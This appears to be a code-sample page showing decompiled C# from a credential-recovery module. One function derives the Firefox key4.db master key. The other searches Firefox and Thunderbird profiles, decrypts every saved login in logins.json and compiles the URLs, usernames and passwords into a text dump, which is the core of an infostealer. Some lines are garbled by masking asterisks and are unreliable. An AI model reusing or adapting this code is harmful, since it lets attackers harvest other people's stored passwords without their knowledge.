Exemple #1
0
 // Token: 0x060000EF RID: 239 RVA: 0x0000D83C File Offset: 0x0000BA3C
 public byte[] CheckKey4DB(string directory)
 {
     byte[] result;
     try
     {
         FFRecover.Asn1Der asn1Der      = new FFRecover.Asn1Der();
         byte[]            dataToParse  = new byte[0];
         byte[]            globalSalt   = new byte[0];
         byte[]            dataToParse2 = new byte[0];
         byte[]            array        = new byte[0];
         this.GetItemsFromQuery(directory, ref globalSalt, ref dataToParse, "metaData");
         FFRecover.Asn1DerObject asn1DerObject = asn1Der.Parse(dataToParse);
         this.GetItemsFromQuery(directory, ref dataToParse2, ref array, "nssPrivate");
         object instance    = asn1Der.Parse(dataToParse2);
         object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(instance, null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "ObjLists", new object[]
         {
             1
         }, null, null, null), null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "Data", new object[0], null, null, null));
         object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(instance, null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "ObjLists", new object[]
         {
             1
         }, null, null, null), null, "Data", new object[0], null, null, null));
         result = this.decrypt3DES(globalSalt, (byte[])objectValue, (byte[])objectValue2);
     }
     catch (Exception ex)
     {
         result = null;
     }
     return(result);
 }
Exemple #2
0
    // Token: 0x060000B7 RID: 183 RVA: 0x0000D238 File Offset: 0x0000B438
    public static object FFTB(string type)
    {
        string text  = string.Empty;
        string text2 = string.Empty;

        try
        {
            if (Operators.CompareString(type, "Thunderbird", false) == 0)
            {
                text = Interaction.Environ("appdata") + "\\Thunderbird";
            }
            else if (Operators.CompareString(type, "Firefox", false) == 0)
            {
                text = Interaction.Environ("appdata") + "\\Mozilla\\Firefox";
            }
            if (Directory.Exists(text))
            {
                foreach (string str in Directory.GetDirectories(text + "\\Profiles"))
                {
                    string text3 = str + "\\key4.db";
                    if (File.Exists(text3))
                    {
                        FFRecover.DBHelper dbhelper = new FFRecover.DBHelper();
                        byte[]             key      = new byte[24];
                        key = dbhelper.CheckKey4DB(text3);
                        string   text4 = File.ReadAllText(str + "\\logins.json");
                        string[] array = text4.Split(new string[]
                        {
                            "\"hostname\":\""
                        }, StringSplitOptions.None);
                        int num  = 1;
                        int num2 = array.Length - 1;
                        for (int j = num; j <= num2; j++)
                        {
                            if (Operators.CompareString(text2, string.Empty, false) == 0)
                            {
                                text2 = text2 + type + ": \r\n";
                            }
                            text2 = text2 + "URL: " + FileZillaRecover.MidStr(array[j], "", "\",\"") + "\r\n";
                            string                  s              = FileZillaRecover.MidStr(array[j], "encryptedUsername\":\"", "\",\"encryptedPassword");
                            string                  s2             = FileZillaRecover.MidStr(array[j], "encryptedPassword\":\"", "\",\"guid");
                            FFRecover.Asn1Der       asn1Der        = new FFRecover.Asn1Der();
                            FFRecover.Asn1DerObject asn1DerObject  = asn1Der.Parse(Convert.FromBase64String(s));
                            FFRecover.Asn1DerObject asn1DerObject2 = asn1Der.Parse(Convert.FromBase64String(s2));
                            string                  input          = Conversions.ToString(FFRecover.TripleDESHelper.DESCBCDecryptor(key, asn1DerObject.ObjLists[0].ObjLists[1].ObjLists[1].Data, asn1DerObject.ObjLists[0].ObjLists[2].Data, true));
                            string                  input2         = Conversions.ToString(FFRecover.TripleDESHelper.DESCBCDecryptor(key, asn1DerObject2.ObjLists[0].ObjLists[1].ObjLists[1].Data, asn1DerObject2.ObjLists[0].ObjLists[2].Data, true));
                            text2 = text2 + "User: "******"[^\\u0020-\\u007F]", "") + "\r\n";
                            text2 = text2 + "Pass: "******"[^\\u0020-\\u007F]", "") + "\r\n\r\n";
                        }
                    }
                }
            }
            if (Operators.CompareString(text2, string.Empty, false) != 0)
            {
                text2 += "\r\n";
            }
        }
        catch (Exception ex)
        {
        }
        return(text2);
    }